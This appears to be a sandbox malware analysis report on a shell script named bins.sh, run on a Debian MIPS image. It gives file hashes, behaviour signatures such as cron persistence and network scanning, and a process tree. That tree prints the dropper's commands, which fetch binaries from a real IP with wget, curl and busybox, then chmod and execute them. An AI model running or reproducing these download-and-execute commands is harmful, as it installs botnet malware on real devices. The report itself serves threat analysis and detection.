Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 20:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    18c8a9d32ba1e84855d6f45dc1809684

  • SHA1

    10acde0ea2f8624ea35e19019dd2e141a7427943

  • SHA256

    a7ed1eb5952b365460201c73b32d87295f8d2b0faf69864665431fe40e4f98de

  • SHA512

    7508da5702a2e6c3bfb4f3a54995a22993bc56a91744323840f0a717aeae59518f735e6a46577537aa6bf7cfe359a54e7572f1e5cfd15e7949e4aa7c3bf13e45

  • SSDEEP

    192:S8iqwUP2ksXooyFRfrM4qFlUFP+iqGooyFRxM4qFlVX:S8iqwUuksqNrM4qFlUF2iqj/M4qFlVX

Malware Config

Signatures

  • Contacts a large (1316) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:719
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:743
        • /bin/chmod
          chmod 777 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          ./3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Executes dropped EXE
          PID:745
        • /bin/rm
          rm 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
            PID:747
          • /usr/bin/wget
            wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:748
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/chmod
            chmod 777 q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • File and Directory Permissions Modification
            PID:751
          • /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            ./q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:752
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:754
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:755
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:756
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:757
                • /bin/rm
                  rm q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
                  2⤵
                    PID:759
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                    2⤵
                      PID:762
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                      2⤵
                        PID:763
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                        2⤵
                        • Writes file to tmp directory
                        PID:764
                      • /bin/chmod
                        chmod 777 GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                        2⤵
                        • File and Directory Permissions Modification
                        PID:765
                      • /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                        ./GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                        2⤵
                        • Executes dropped EXE
                        PID:766
                      • /bin/rm
                        rm GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                        2⤵
                          PID:767
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                          2⤵
                            PID:768
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                            2⤵
                              PID:769
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                              2⤵
                              • Writes file to tmp directory
                              PID:770
                            • /bin/chmod
                              chmod 777 E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                              2⤵
                              • File and Directory Permissions Modification
                              PID:776
                            • /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                              ./E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                              2⤵
                              • Executes dropped EXE
                              PID:778
                            • /bin/rm
                              rm E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                              2⤵
                                PID:780
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                                2⤵
                                  PID:782

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /var/spool/cron/crontabs/tmp.7clj3M

                                Filesize

                                210B

                                MD5

                                6a283b833a80f343b05227edf3080ea5

                                SHA1

                                6c3f8eb4ced97f5971028dc1c91b77fbcba122db

                                SHA256

                                2895fe166372b5f7ae660f3598dfb125ebe4c08775aea741618be6e0baa76e1d

                                SHA512

                                871c12db531579bd71ffe20c1f366a89f9a3ffd496af7c2d5fad4d01258ddf690049cb2f80e1c878cc0af2e7ec17f78f820a315a4dbdd1f2cfa68909ce17be89